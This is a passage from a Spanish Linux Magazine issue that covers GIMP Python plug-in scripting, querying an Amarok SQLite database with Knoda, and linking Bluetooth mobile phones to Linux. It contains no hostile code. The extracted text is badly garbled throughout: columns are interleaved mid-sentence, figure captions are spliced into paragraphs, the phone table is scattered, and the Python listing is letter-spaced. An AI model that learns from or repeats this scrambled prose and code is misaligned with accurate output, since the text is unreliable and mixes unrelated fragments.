~/.gimp/plug-ins. Nuestro defecto. La sección completa con el directorio puede que posiblemente se parámetro de entrada tiene este aspecto: llame .gimp-2.0 o algo similar. Haremos ejecutable el archivo de comandos [ (chmod +x) y lanzamos el GIMP. Ahora, (PF_INT, "feather_in",U cuando creamos una nueva imagen (File | "Feather", 100), New), debería haber una entrada que diga (PF_INT, "opacity_in", U Python | Simple para el módulo en el "Opacity", 50) menú contextual. ],
Diálogos con GIMP Por supuesto, este ejemplo mínimo no hace nada útil, por lo que echaremos un vistazo a un ejemplo menos trivial para demostrar una serie de útiles aspectos de GIMP Python. El módulo añadirá una viñeta a la imagen, de forma que una sombra oculte las parte poco importantes de la imagen, destacando las importantes. El ejemplo demuestra parámetros del
WWW.LINUX- MAGAZINE.ES
PF_INT se refiere a un número entero. Los tipos de parámetros descritos en los ejemplos de la documentación de GIMP Python que encontramos en [3]. Desgraciadamente, esta documentación está un poco muerta, puesto que el módulo que contiene no funcionará ni siquiera en GIMP 2.x. Puede que prefiramos comprobar la página Web actual de GIMPPerl [4]. Al menos las páginas están actualizadas, si
Número 05
45
PRÁCTICO • Gimp script
bien puede que necesitamos pensar en técnicas de migración. Como aspecto positivo destacar que los parámetros son los mismos al margen del lenguaje que elijamos para escribir el archivo de comandos.
Funciones en Funcionamiento La función operativa aún no se ha ganado ese título en realidad. Una búsqueda PDB de select revela unos posibles candidatos. El que nosotros necesitamos es el llamado gimp_ellipse_select. Su primer parámetro es la propia imagen. Los siguientes cuatro nos dan el tamaño de la selección como valores X e Y para el ancho y el alto. El parámetro option especifica si añadiremos la selección (CHANNEL_ADD_ OP) o reemplazando una existente (CHANNEL_REPLACE_OP) y asi sucesivamente. El buscador PDB usa nombres algo diferentes en este caso (como hace para otro tipo de parámetros), por ejemplo, GIMP_CHANNEL_ ADD_OP. En archivos de comandos Python tenemos de quitar el prefijo GIMP_. Estableciendo antialias como TRUE le indica a GIMP que debe suavizar la línea de selección. feather funciona de forma similar para proporcionar una transición suave. El último parámetro (feather_radius) especifica el ancho del área de transición. El archivo de comandos no tiene un valor fijo en este momento, si no una variable a definir por el usuario llamada feather_in (línea 5 en el listado 2).
Listado 2: Función Operativa 01 d e f p y t h o n _ v i g n e t t e ( i m g , drawable, feather_in, opacity_in): 02 width = drawable.width 03 height = drawable.height 04 05 pdb.gimp_ellipse_select(img, 0, 0, width, height, CHANNEL_OP_REPLACE, TRUE, TRUE, feather_in) 06 pdb.gimp_selection_invert(img) 07 pdb.gimp_edit_bucket_fill (drawable, FG_BUCKET_FILL, MULTIPLY_MODE, opacity_in, 0, 0, 0, 0) 08 pdb.gimp_selection_none(img)
46
Número 05
Figura 2: Una imagen de ejemplo antes y después de ejecutar el código viñeta.
Todos los métodos que hemos usado hasta ahora pertenecen al objeto pdby se llaman con pdb.method(). La verdad es que esto no se puede considerar una programación orientada a objetos, puesto que una orientación a objetos se caracteriza por una relación temática entre los métodos y los objetos. No obstante, GIMP Python soporta formulaciones orientadas a objetos. Por ejemplo, img.add_layer(...) funcionará en lugar de pdb.gimp_add_layer(img, ...). Esto es una llamada al método gimp_add_layer() del objeto img, abandonando el parámetro img por el camino. El buscador PDB no documenta este tipo de uso, por lo que posiblemente tengamos que documentarnos de forma particular al respecto. El método gimp_selection_invert simplemente invierte la selección actual. Finalmente, gimp_edit_bucket_fill rellena el área seleccionada con el color del fondo actual según especifica el valor del segundo parámetro FG_BUCKET_FILL. Especificar PATTERN_BUCKET_FILL en su lugar indicará a la herramienta que use el modelo de relleno actual. El siguiente parámetro especifica como aplicar la nueva capa de color al fondo. El valor NORMAL_MODE simplemente reemplaza la capa de color actual. El parámetro MULTIPLY_MODE usado en nuestro ejemplo indica a GIMP que mezcle el color actual con el nuevo. El menú de capas nos ofrece una lista de los modos disponibles y el buscador PDB nos muestra las palabras coincidentes (de nuevo deberemos quitar el prefijo GIMP_). Puede que queramos experimentar con DISSOLVE_MODE. El valor del siguiente parámetro, opacity_in, especifica la opacidad del relleno. Cuanto más alto sea el número, más oscuro será el borde. Sólo por complicar las cosas, el archivo de comandos elimina la selección realizando una llamada a
WWW.LINUX- MAGAZINE.ES
gimp_selection_none. Por cierto, podemos deshacer todos estos pasos llamando a Undo, puesto que GIMP anotará los pasos como si se realizasen en modo interactivo, áun siendo de un guión. Podemos deshabilitar esta función llamando gimp_image_undo_disable. Si ejecutamos el archivo de comandos en una imagen abierta, el efecto que se producirá será parecido al de la figura 2. Realzamos un poco el efecto en esta imagen para que se apreciase mejor. Menos opacidad sería preferible.
Depurado Dificultoso La Automatización de Depuración de Dificultades (Debugging Difficulties Automating) de GIMP con archivos de comandos de Python debería ser algo sencillo de hacer. Desgraciadamente, la obsoleta documentación es un obstáculo y el ciclo de desarrollo añade más obstáculos. Cada vez que cambiamos un archivo de comandos tenemos que relanzar GIMP. La capacidad de cargar archivos de comandos mientras se ejecuta sería muy útil. Realmente la documentación necesita ser actualizada. En estos momentos, los programadores de Python GIMP no tienen más alternativa que buscar en Internet distintas fuentes de información (como GIMPPerl) y adaptarla. Si esto no nos preocupa, Python GIMP nos ofrece unas magnificas funciones con las que jugar. ■
RECURSOS [1] Scheme: http://www.teach-scheme. org/Notes/scheme-faq.html [2] GIMP: http://www.gimp.org/ [3] Documentos GIMP Python: http:// www.gimp.org/docs/python/ structure-of-plugin.html [4] Documentos GIMP-Perl: http://imagic. weizmann.ac.il/~dov/gimp/perl-tut-2.0
Knoda • PRÁCTICO
Administración de bases de datos SQL con Knoda
UNA HABITACION CON VISTAS Knoda, el gestor de datos de KDE, proporciona un entorno intuitivo a los usuarios de bases de datos SQL. Este artículo nos introducirá a Knoda y nos mostrará como podemos usarlo para simplificar tareas de gestión de bases de datos comunes. POR MARCEL HILZINGER
M
uchos usuarios de Linux desean una herramienta simple basada en GUI que les ayude a gestionar sus bases de datos de forma intuitiva. El programa de KDE Knoda es un buen candidato para esta tarea. En esta primera parte de nuestro taller de Knoda investigaremos las funciones básicas del programa, aprenderemos a usar una base de datos existente para crear búsquedas relativamente complicadas con unos sencillos toques de ratón.
SQL Indoloro Knoda es una interfaz de KDE para bases de datos como MySQL, PostgreSQL, SQLite2 o SQLite3. Knoda también puede usar controladores ODBC para acceder a otros servidores de bases de datos. En este taller nos centraremos en SQLite. Si deseamos trabajar con los ejemplos necesitaremos la base de datos SQLite2 (musik.db), que podremos coger de la zona de descargas de la página Web de Linux Magazine [1]. La base de datos es la típica bases de datos del tipo lista de reproducción usada por el reproductor Amarok de KDE para gestión interna. Si deseamos usar nuestra propia base de datos Amarok en lugar del archivo
ejemplo, debemos copiarla (.kde/share/apps/amarok/collection.db) a nuestro directorio de usuario y renombrarla con el nombre musik.db. En este caso también necesitaremos el paquete sqlite-3.0.8, puesto que la versión actual del reproductor Amarok (versión 1.1) usa el formato SQLite3. Cuando arrancamos Knoda presionando [Alt]+[F2] y escribiendo knoda aparece la ventana principal del programa, solicitándonos que seleccionemos un controlador. Seleccionamos nuestro controlador de bases de datos preferido y pulsamos Connect (conectar) tal y como se ve en la figura 1. Ahora seleccionaremos File / Open local database (Archivo | Abrir base de datos local) para abrir la base de datos de música, seleccionando musik.db según aparece en el diálogo del navegador de archivos y pulsando sobre ella dos veces. Knoda nos mostrará entonces la base de datos y la ruta a ésta como Active database: (Base de datos activa). Pulsando sobre el signo positivo a la izquierda de Tables (tablas) nos debería llevar a las tablas album, artist, directories, etc. Aquí podemos pulsar dos veces en cualquiera de las tablas para lanzar el editor de
WWW.LINUX- MAGAZINE.ES
tablas y ver el contenido de las mismas. Cuando seleccionamos una tabla Knoda abre uns nueva pestaña para mostrarla.
Funciones básicas Knoda almacena consultas, formularios e informes en .hk_classes/BASESDEDATOS/NOMBRE_DEL_HOST de manera predeterminada. Esto nos permite almacenar consultas de bases de datos donde no tenemos privilegios de escritura (en un servidor MySQL, por ejemplo). Sin embargo, este enfoque no es muy útil si necesitamos enviar por correo electrónico una base de datos que incluya una consulta, puesto que la consulta no esta almacenada en la propia base de datos. Para evitar este problema debemos configurar Knoda de forma que almacene
Figura 1: En este diálogo seleccionamos el tipo de base de datos.
Número 05
47
PRÁCTICO • Knoda
todos los elementos dentro de la base de datos. Seleccionaremos Settings / Database preferences (Ajustes | Preferencias de las bases de datos) y cambiaremos las entradas en Open (Abrir) y Save (Salvar) de local (local) a central (central). Los distintos tipos de modos que se pueden seleccionar View / Design (Vista | Diseño) o View / Table data (Vista | Tabla de datos), son otro aspecto importante al trabajar con Knoda. Cuando seleccionamos una entrada bajo Active database (Base de datos activa), Knoda la abre en modo vista. Podemos añadir nuevas entradas a las tablas u ordenar las tablas pulsando sobre la cabecera de una columna. Si ahora cambiamos al modo diseño podemos ver los campos e índices asociados con las tablas. El modo diseño también nos muestra la herramienta de diseño de consultas basada en GUI. Para ver los resultados de una consulta debemos cambiar al modo tabla de datos.
Creación de Consultas Para crear una nueva consulta pulsamos con el botón derecho sobre Queries (Consultas) y seleccionamos New (Nueva). Knoda abrirá una nueva pestaña llamada Query (Búsqueda). Ahora pulsamos con el botón derecho la zona gris en la parte superior de la ventana y seleccionamos Add datasource (Añadir origen de datos). Aparece el diálogo de origen de datos que aparece en la figura 2. En nuestra primera consulta seleccionaremos la tabla tags (Etiquetas) y pulsaremos sobre Add
(Añadir). Esta tabla contiene información importante en la base de datos musical Amarok. Tras añadir el origen de los datos, la caja gris (la cual antes estaba vacía) tiene ahora un elemento llamado tags0. Para consultar los títulos de las canFigura 4: Una consulta combinada de tres tablas.acceder en cada ciones en la base consulta. de datos pulsamos en la primera columna (a la derecha de album. Para hacer esto debemos arrastrar Table) y seleccionamos la entrada tags0. la entrada album desde la caja tags0 y Repetimos este paso para Fieldname soltarla en la entrada id de la caja (Nombre de campo). En este caso selecalbums2. En este momento debe aparecer cionamos title (título). Esto completa la el diálogo de la figura 3, donde debemos primera consulta. Para ver los resultados pulsar OK para confirmar. Ahora repetireseleccionamos View / Table data o pulmos estos pasos para la tabla artists. samos en el icono con forma de rueda Arrastramos la entrada artists de la caja dentada. tags0 y la soltamos en la entrada id en la Supongamos que deseamos ordenar los caja artists1. Knoda usa flechas para datos alfabéticamente. Para hacerlo mostrar los enlaces que acabamos de volveremos al modo diseño, seleccionarecrear (ver figura 4). mos ascending (ascendente) o descending Ahora todo lo que debemos hacer es (descendente) en el menú desplegable indicarle a Knoda qué estamos buscando. Sorting (Clasificar) y volvemos al modo Para generar una vista de los títulos, tabla de datos. Para ver los títulos que incluyendo el nombre del álbum y del comienzan con la letra A debemos añadir artista tenemos que ajustar los siguientes la condición LIKE 'A%' sin olvidar las campos de la siguiente forma en la parte importantes comillas. Ahora lanzamos la inferior de la pantalla: consulta de nuevo conmutando de nuevo al modo tabla de datos. Podemos almaceTable:tags0 Fieldname:title nar la consulta seleccionando File / Save Table:artists1 Fieldname:name (Archivo | Guardar). Table:albums2 Fieldname:name
Tablas múltiples
Figura 2: Usaremos esta ventana para indicar a Knoda que tabla debe acceder en cada consulta.
Figura 3: La asignación de campos para una consulta de dos tablas.
48
Número 05
La tabla tags nos da el título de las canciones pero no el del intérprete o el del álbum. Amarok guarda esta información en una tabla separada y usa un ID para referirse a los datos. Como su propio nombre indica, la tabla artists (artistas) almacena el nombre de los artistas y la tabla albums (álbum) los títulos de los discos. Podemos definir una consulta que fusione esta información. Para hacerla, lo primero que debemos hacer es crear una nueva consulta y luego, en el diálogo de origen de datos, añadir las tablas tags, artists y albums. Deberíamos ver cajas etiquetadas como tags0, artists1 y albums2. El siguiente paso consiste en enlazar el campo album de la tabla tags con la tabla
WWW.LINUX- MAGAZINE.ES
Ahora, cuando cambiemos al modo tabla de datos, Knoda nos debería mostrar una lista de títulos, incluyendo los nombres de los artistas y de los albumes. Podemos seleccionar File / Save para guardar la consulta. El modo de tabla de datos de Knoda tiene una función de impresión que nos permite crear una copia en papel de la consulta. Dicho esto, puede que prefiramos crear un bonito informe en su lugar. Os enseñaremos a hacer este informe el ■ mes que viene en Linux Magazine.
RECURSOS [1] http://www.linux-magazine.com/ Magazine/Downloads/05/ [2] Knoda: http://www.knoda.org/
Bluetooth • PRÁCTICO
Enlazando Linux con nuestro teléfono móvil Bluetooth
EL GRAN AZUL Cada vez es más común que las nuevas generaciones de móviles tengan integrado un interfaz Bluetooth. Este artículo explora los posibles métodos para acceder a nuestro teléfono móvil Bluetooth usando Linux. POR MARCEL HILZINGER
B
luetooth tiene el potencial de convertirse en unos de los juguetes más populares de los próximos años. Puesto que el tráfico de datos de Bluetooth se transmite directamente de un dispositivo Bluetooth a otro, Bluetooth no cuesta nada. Facilmente podemos exportar un fondo de pantalla o tonos de llamada desde nuestro PC a nuestro teléfono móvil o desde nuestro teléfono móvil a cualquier dispositivo Bluetooth. El protocolo Bluetooth puede hacer muchas más cosas que la simple transmisión de tarjetas de visita o fotografías. Bluetooth es especialmente interesante para los usuarios de Linux, puesto que muchas funciones que usan USB o puerto serie en Windows solo transmitirán en Linux mediante Bluetooth. En este artículo comenzaremos
repasando la transferencia de archivos entre PCs y teléfonos móviles bajo KDE, luego exploraremos modelos específicos de teléfonos y sus características. Hemos usado Suse Linux 9.1 y 9.2 para nuestros ensayos junto a Fedora Core 3. Suse Linux 9.2 es una buena elección para novatos de Linux debido a que YaST dispone de un módulo separado para Bluetooth.
Contacto Para hacer que nuestro teléfono móvil Bluetooth hable con Linux necesitamos un PC con una adaptador interno de Bluetooth o lo que se denomina una llave de puerto USB Bluetooth. El soporte para adaptadores Bluetooth USB se introdujo con el kernel 2.6 de Linux. Si tenemos el kernel 2.4, muchos adaptadores o no funcionaran en absoluto o requerirán un parche en el kernel. Si tenemos dudas deberíamos actualizar nuestra distribución o al menos el kernel. Tras enchufar el adaptador, el siguiente paso para iniciar el sistema Bluetooth (necesitamos ser root para hacerlo) es escribir /etc/init.d/bluetooth start. Ahora debemos escribir hcitool dev para comprobar si Linux ha detectado el adaptador Bluetooth correctamente. El resultado debe ser una línea con el dispositivo hci0 y una dirección de hardware (por ejemplo 00:10:C6:29:2E:13). Ahora que el sistema Bluetooth está en funcionamiento, ya podemos lanzar la infraestructura Bluetooth de KDE escribiendo kbluetoothd. Ahora, en Konqueror, escribimos la URL bluetooth:/ para ver si el navegador de KDE encuentra nuestro teléfono móvil (ver figura 1). Claro que, primero
WWW.LINUX- MAGAZINE.ES
debemos habilitar Bluetooth en nuestro móvil, teniendo el dispositivo que ser visible. Deberemos comprobar la documentación de nuestro proveedor en busca de más información acerca de la configuración de nuestro modelo de teléfono móvil. Para enviar un archivo a nuestro teléfono móvil pulsaremos sobre el icono (éste tiene la etiqueta K700i en nuestro ejemplo). Esto nos indica los servicios que el teléfono soporta (Ver figura 2). En nuestro caso, esto significa pulsar sobre el icono Obex Object Push, seleccionando luego Open with "kbtobexclient" (Abrir con “kbtobexclient”) en la caja de diálogo que aparece. Esto lanzará el cliente Bluetooth KDE Obex Push o se nos solicitará un PIN para conectar nuestro PC al teléfono móvil.
Hablando Antes de que nuestro PC pueda enviar datos a nuestro móvil, éste debe estar conectado al mismo. Este proceso, conocido como pairing (emparejamiento), está basado en un código PIN compartido. El código PIN requerido para el emparejamiento está almacenado en Linux en /etc/bluetooth/pin. Puesto que normalmente el archivo tiene la entrada
Figura 1: Aparte de sí mismo (como anfitrión local), Konqueror ve dos teléfonos, Pocket PC y otro PC..
Número 05
49
PRÁCTICO • Bluetooth
BlueZ por defecto, es muy posible que la tengamos que editar antes del emparejamiento. El archivo debe tener una simple línea con un número seleccionado al azar sin el prefijo PIN: . Si introducimos el PIN en nuestro teléfono móvil, el programa pin_helper especificado en /etc/bluetooth/hcid.conf comprobará si el código corresponde al que aparece en /etc/bluetooth/pin. Tras conseguir hacer el emparejamiento, el teléfono añadirá al PC a la lista de dispositivos conocidos. KDE nos da una interfaz para introducir el PIN si la infraestructura KDE Bluetooth está instalada. Suse Linux 9.1 y 9.2 instala los paquetes necesarios por defecto. La página Web de KDE Bluetooth [1] tiene los paquetes para otras distribuciones. Cambiaremos el programa pin_helper a /opt/kde3/lib/kdebluetooth/kbluepin para el entorno GUI. El demonio kdebluetooth solicitará que le indiquemos la ruta cuando lancemos el programa. No necesitamos un PIN estático con el ayudante PIN de KDE. Simplemente escribiremos el PIN en el cuadro de diálogo (ver figura 3).
Transferencia de Archivos Tras completar el emparejamiento se lanzará el cliente Bluetooth KDE Obex Push (ver figura 4). Ahora seleccionaremos el archivo o los archivos que deseamos transferir en la parte superior de la ventana y las arrastraremos sobre el icono File to send (Archivo a enviar). El selector de dispositivos debería apuntar a nuestro teléfono móvil. Si el cliente Kbtobexclient falla en su búsqueda del dispositivo debemos pulsar Search para buscar nuevos dispositivos. Pulsando Send transferiremos nuestros archivos al teléfono. Dependiendo del modelo de teléfono, los archivos acabarán en la memoria del teléfono o es posible que tengamos que aceptar para que se produzca la transferencia del archivo. El tipo de archivos que serán aceptados por un dispositivo depende del ajuste de sus características. Los siguientes tipos funcionaron en todos los teléfonos que probamos: • Entradas del libro de direcciones (*.vcf) • Entradas de calendario (*.ics y/ o *.vcs) • Imágenes (*.jpg) • Tonos de llamada MIDI (*.mid )
50
Número 05
Transferir archivos desde el teléfono hacia el PC es igual de simple. Para hacerlo debemos seleccionar el correspondiente menú en el teléfono, comenzando entonces el teléfono a buscar automáticamente otros dispositivos Bluetooth. Localizará nuestro PC Linux, designándolo con el nombre que hemos puesto en /etc/bluetooth/hcid.conf y pulsamos en Send (Enviar). Casi todos los Figura 2: El K700i tiene una amplio abanico de servidispositivos que probamos cios. Tenemos que seleccionar Obex Object Push para disponían de un menú denomienviar archivos al teléfono móvil. nado Send | Via Bluetooth (Enviar | Vía Bluetooth). El Motorola (un proceso complicado que veremos V600 y el MDA III fueron las excepciones. más tarde). En el Motorola, el elemento de menú Si el demonio KDE Bluetooth se está puede ser Move (Mover) o Copy (Copiar), ejecutando, una ventana debería apareen función del contexto. El dispositivo cer en nuestro escritorio para indicarnos Windows no tiene un elemento de menú que la transferencia de archivos se está y espera que el usuario seleccione los ejecutando. Future policy for this device archivos mediante el gestor Bluetooth (Política futura para este dispositivo) nos
Cuadro 1: Configuración de Bluetooth El sistema Bluetooth abarca una serie de demonios, si bien normalmente solo necesitaremos sdpd y hcid. El Host Controller Interface Daemon (Demonio del Interfaz del Controlador del Anfitrión) gestiona funciones básicas de Bluetooth, y el Service Discovery Protocol Daemon (Demonio del Protocolo de Descubrimiento de Servicios) indica a los otros compañeros de comunicación las capacidades de nuestro dispositivo. Podemos lanzar estos demonios mediante /etc/init.d/bluetooth start o manualmente. Para iniciar el sistema Bluetooth automáticamente cuando iniciamos nuestro equipo debemos, como root, escribir insserv bluetooth en Suse. Para Fedora Core o escribimos chkconfig --add bluetooth o lanzamos el editor basado en GUI a través de Applications | System settings | Server settings | Services. Los usuarios de Suse Linux encontrarán en YaST un editor gráfico de nivel de ejecución Runlevel Editor. El archivo de configuración central de Bluetooth se llama /etc/bluetooth/hcid.conf. La primera cosa que debemos hacer es cambiar el name en Default settings por HCI devices, puesto que los ajustes por defecto para la mayoría de los PC Linux es BlueZ. En algunos programas necesitamos configurar el dispositivo Bluetooth para emular un puerto serie usando rfcomm.
WWW.LINUX- MAGAZINE.ES
Esto nos permite enviar comandos módem a nuestro teléfono móvil para comprobar la batería o enviar mensajes cortos. El comando para hacer esto es rfcomm bind 0 <bt-address>; reemplazaremos <bt-address> con nuestra dirección de hardware Bluetooth. Para permitir que cualquier usuario acceda al dispositivo rfcomm0 tenemos que modificar los privilegios del dispositivo. De nuevo trabajando como root, escribimos chmod 666 /dev/rfcomm0 para hacer esto. Puesto que los dispositivos de los sistemas Linux recientes crean archivos dinámicamente, puede que tengamos que ejecutar este comando después de cada comando rfcomm bind. Si deseamos cambiar los privilegios de acceso permanentemente debemos añadir la siguiente línea al final del archivo /etc/udev/udev.permissions en Suse Linux 9.1 o /etc/udev/permissions.d/50-udev.permissions en Fedora Core y en Suse Linux 9.2; rfcomm*:root:root:666 Ejecutar rfcomm sin parámetros muestra una lista de dispositivos emparejados. Para terminar una conexión existente escribimos rfcomm release /dev/rfcomm0. Algunos teléfonos móviles de nuestra prueba fueron incapaces de enviar archivos mientras estaban emparejados con el interfaz /dev/rfcomm0.
Bluetooth • PRÁCTICO
Figura 3: La infraestructura Bluetooth de KDE nos ofrece un interfaz basado en GUI en el que podemos introducir el PIN.
permite optar a aceptar o rechazar automáticamente la transferencia de archivos en el futuro. Suponiendo que aceptamos el archivo, ahora la ventana debería mostrar Incoming File Transfer (Transferencia de archivo entrante). Podemos o pulsar el archivo para abrirlo o seleccionar Save para guardarlo. Los usuarios de Fedora Core necesitan los paquetes gnome-bluetooth y gnome-vfs-extras para intercambiar archivos entre sus móviles y sus PCs. Si Fedora rehuye aceptar datos desde el teléfono móvil es muy probable que tengamos que lanzar gnome-obex-server antes. Si hemos instalado Gnome Blue-
tooth, de nuevo aparecerá una ventana preguntándonos si aceptamos la transferencia. Fedora almacena el archivo entrante en nuestro directorio de usuario. Debemos ser precavidos con los cuelgues usando Suse Linux 9.2. Si el dispositivo está emparejado no se nos mostrará ninguna solicitud, y cualquier archivo entrante será almacenado automáticamente en /var/lib/bluetooth. Esto Figura 4: El cliente Bluetooth de KDE Obex Push nos permite significa que cualquiera transferir entradas del libro de direcciones o del calendario a que conozca nuestro nuestro teléfono móvil. código PIN de Bluetooth puede mandarnos archivos sin que lo mente pequeña y un sistema operativo propio. Los modelos de Sony Ericsson advirtamos. T610 y K700i, el Motorola V600 y el Sharp Competición azul GX15 pertenecen a este grupo. En nuestro laboratorio Linux probamos El segundo grupo está compuesto por más de ocho teléfonos Bluetooth (ver teléfonos móviles con el sistema operaTabla 1). Estos teléfonos fueron amabletivo Symbian y el GUI Series60, mente puestos a nuestra disposición por incluyendo los modelos 6600 y 7610 de distintos proveedores de telecomunicaNokia y el Siemens SX1. El tercer grupo ciones. Hay tres grupos de teléfonos. El es un dispositivo Tonline, el MDA III con primer grupo tiene una pantalla relativael sistema operativo Windows CE.
Tabla 1: Evaluacuón de Teléfonos Móviles Bluetooth
Fabricante
Sony Ericsson
Sony Ericsson
Sharp
Motorola
Siemens
Nokia
Nokia
HDC
Modelo
T610
k700i
GX15
V600
SX1
6600
7610
MDA III
Sistema operativo
propietario
propietario
propietario
propietario
Symbian Series60
Symbian Series60
Symbian Series60
Windows CE
Memoria interna
2 MB
32 MB
2 MB
5 MB
24 MB
6 MB
8 MB
128 MB
Transferencia ✓ de ficheros Obex
✓
–
✓
✓
✓
✓
✓
Control Remoto ✓ Bluemote
✓
–
–
–
–
–
–
Control Remoto – Bemused
–
–
–
✓
✓
✓
–
Sincronización ✓ IrMC
✓
–
–
–
–
–
–
Sincronización – SyncML
✓
–
–
✓
✓
✓
–
Kmobiletools1 ✓
✓
–
–
✓
✓
✓
–
Reproduc. Ogg –
–
–
–
✓
✓
✓
✓
Cliente SSH
–
–
–
✓
✓
✓
✓
1
–
✓ significa que al menos funcionaba el display del estado de la bateria. Algunos dispositivos soportan SMS y la lectura de entradas en libretas de direcciones.
WWW.LINUX- MAGAZINE.ES
Número 05
51
PRÁCTICO • Bluetooth
Con la notable cionó correctamente excepción de Nokia de forma inmediata 7610, que dispone de tal y como venía de una cámara de un fábrica con Suse megapixel (1152x864), Linux 9.2 en nuestro el resto de los telélaboratorio. Pero, fonos tienen una hagamos lo que hacámara VGA (640x480) gamos, debemos aseque puede hacer gurarnos de que fotografías y vídeos en creamos una copia formato 3GP. 3GP es segura de nuestro un formato Quicktime teléfono y libro de que podemos reprodirecciones KDE antes ducir en Linux usando de comenzar a experiRealplayer. Si no Figura 5a: Nuestro teléfono móvil mentar. disponemos de debería estar en el listado de recurPara lanzar KitchenRealplayer deberemos sos Irmcsync. sync presionamos cambiar la extensión [Alt]+[F2] y escribide *.3gp a *.mov. Esto debería permitir mos kitchensync. Ahora pulsamos en Setque otros reproductores los reproduzcan. tings | Configure KitchenSync y selecDicho esto, al probar esto en nuestro cionamos la opción konnector bajo ordenador perdimos la reproducción de Resources. Pulsamos sobre Add... y sonido. El Motorola V600 no tiene la funañadimos los siguientes conectores: ción de grabación de vídeo. • Conector IrmcSync • Conector local IrMC Sincronización Para el recurso IrmcSync seleccionamos Los teléfonos que más nos impresionaron nuestro teléfono en Bluetooth Device. En fueron los modelos de Sony Ericsson la parte inferior izquierda de la ventana T610 y K700i. Los dos teléfonos son senespecificamos si queremos sincronizar cillos de usar, proporcionando una serie nuestro libro de direcciones o nuestro de funciones a los usuarios de Linux con calendario. Cada conector soportará solo las convenientes características a las que una dirección (ver figura 5a). Para prese han acostumbrado los usuarios de venir Kitchensync contra una posible Windows. Estos dos teléfonos fueron los sobreescritura del libro de nuestro teléúnicos de nuestro laboratorio que soporfono móvil, debemos marcar la opción taron el protocolo de sincronización Read only. Si nuestro teléfono móvil no IrMC, el cual sincroniza los datos entre el está en la lista es muy posible que éste no teléfono y las aplicaciones PIM Kaddresssoporte la sincronización IrMC (ver tabla book y Korganizer. El programa Multi1) o puede que no esté configurado para sync soporta la sincronización con el ser visible. cliente de correo GNOME Evolution, si Como conector local (ver figura 5b), bien no hay plug-in para la versión 2.0 necesitamos especificar un archivo para del cliente de correo en el momento de el libro de direcciones y para el calenescribir el presente artículos. Este es el dario. El modo más fácil de hacer esto es motivo por el que nos centraremos en la pulsando Select From Existing Resources sincronización del libro de direcciones (Seleccionar de los recursos existentes). KDE usando Kitchensync más adelante Esto indica a Kitchensync que debe selecen el presente artículo. cionar automáticamente nuestro libro de Puesto que la configuración inicial de direcciones KDE y nuestro calendario Kitchensync puede ser un proceso comKorganizer. De nuevo, podemos marcar plejo no cubriremos la compilación del la casilla Read-only (Solo lectura) para programa en este artículo. Para permitir a evitar que Kitchensync almacene datos KDE Bluetooth y a Kitchensync interoen nuestro libro de direcciones local. Tras perar, debemos asegurarnos de que la añadir los conectores que necesitamos infraestructura de KDE Bluetooth se pulsamos Edit... (Editar) para ajustar los construyó con la opción Irmcsynckonparámetros. nector. Suse Linux 9.2 dispone de paqueAhora seleccionamos Settings | Confites RPM listos para ser ejecutados con gure Profiles para especificar los perfiles este soporte. De hecho, Kitchensync funque Kitchensync debe ejecutar. Suse
52
Número 05
WWW.LINUX- MAGAZINE.ES
Linux 9.2 nos ofrece dos perfiles por defecto: Syncing y Restore Backup. Si no tenemos ningún perfil seleccionaremos, Add..., escribiremos un nombre para el nuevo perfil y añadiremos las siguientes Parts (Partes): • Revisar Partes • Copia de seguridad de Conector • Parte del Sincronizador Podemos experimentar con otras partes para ajustarlos a nuestros propios requisitos. Los perfiles aparecen en la ventana principal de Kitchensync en la zona inferior bajo la barra de menú. Si ahora seleccionamos el perfil Syncing, los iconos a la izquierda de la ventana nos indicarán que hay tres partes: Overview, Connector Backup y Synchronizer. El perfil Restore Backup sólo tiene una parte llamada Connector Backup. Necesitamos Syncing para sincronizar. Pulsamos el icono al lado del menú desplegable (ver figura 6). Dependiendo del tamaño del libro de direcciones, Kitchensync puede tardar unos minutos en completar la primera sincronización. La próxima vez que sincronicemos el proceso, será mucho más rápido. Si el programa detecta una entrada parecida en los dos libros de direcciones aparece una ventana. Esto nos permite especificar la que debe usar Kitchensync. Desafortunadamente, Suse Linux 9.2 no muestra una etiqueta para el botón del teléfono móvil, si bien el botón funciona perfectamente. Si nos sucede algún problema sincronizando los dispositivos puede que queramos añadir alguna parte depuradora a nuestro perfil. Esto nos permite introducirnos en el proceso de sincronización y monitorizar los detalles.
Control Remoto Nos asombró el software de control remoto Bluemote [2], el cual nos permite controlar remotamente a Xmms o presentaciones de OpenOffice usando nuestro teléfono móvil. Antes de empezar a experimentar con el control remoto tendremos que configurar una conexión en serie a nuestro teléfono usando rfcomm bind 0 <bt-address> (ver Cuadro 1). hcitool scan nos da la dirección hardware: kim:~ # hcitool scan Scanning ... 00:0E:07:37:60:03 T610
Bluetooth • PRÁCTICO
Ahora lanzamos bluemote y comprofiar, puesto que estos teléfonos solo bamos si la cabecera Bluemote aparece soportan el nuevo protocolo SyncML. en la pantalla del teléfono. SelecMultisync [3] es un cliente SyncML de cionamos Connections | Tools | PC Remote Linux, pero sólo soporta sincronizaciones (Conexiones | Herramientas | PC con un servidor HTTP y no la sinRemoto) para ver los elementos indivicronización directa vía Bluetooth. Para duales del menú para el control remoto. los más aventureros, en [4] hay una Se requiere el programa aumix-minimal metodología que describe como ajustar para ajustar el voluuna conexión IP/Bluemen del reproductor tooth con teléfonos usando el control Volubasados en Symbian. me. Esto debería permiDe todos los dispositirnos sincronizar tivos que probamos, usando Multisync. En Bluemote solo funla parte positiva, se cionó con los teléfonos está trabajando en un de Sony Ericsson. No conector SyncML para hay herramientas Kitchensync [5], si Linux comparables bien no tuvimos para el Sharp GX 15 o tiempo de probarlo. para el Motorola V600, Hay sobre 15,000 Figura 5b: Configuración del libro de aplicaciones para los y estos teléfonos suedirecciones KDE como conector teléfonos móviles len tener un limitado local. Series60, incluyendo rango de funciones. un reproductor Ogg Los sesenta… [6], un cliente SSH [7] y herramientas de El segundo grupo de candidatos probaservidor y cliente NFS [8]. El reproductor dos es el formado por el Nokia 6600, el Ogg y el cliente SSH se ejecutan tal cual Nokia 7610 y el Siemens SX1 con el GUI tras transferir los archivo SIS al teléfono. Series60 de Symbian. No hay límite para El acceso al teléfono Series60 vía el los programas libre para Symbian en cliente NFS involucra una serie de pasos Internet, lo que significa que estos tres manuales previos teléfonos funcionan muy bien con Linux. Primero instalaremos Dicho esto, en la ctualidad parece que no p3nfs-5.16-1.i386.rpm y transferimos el hay un programa de sincronización de archivo SIS desde
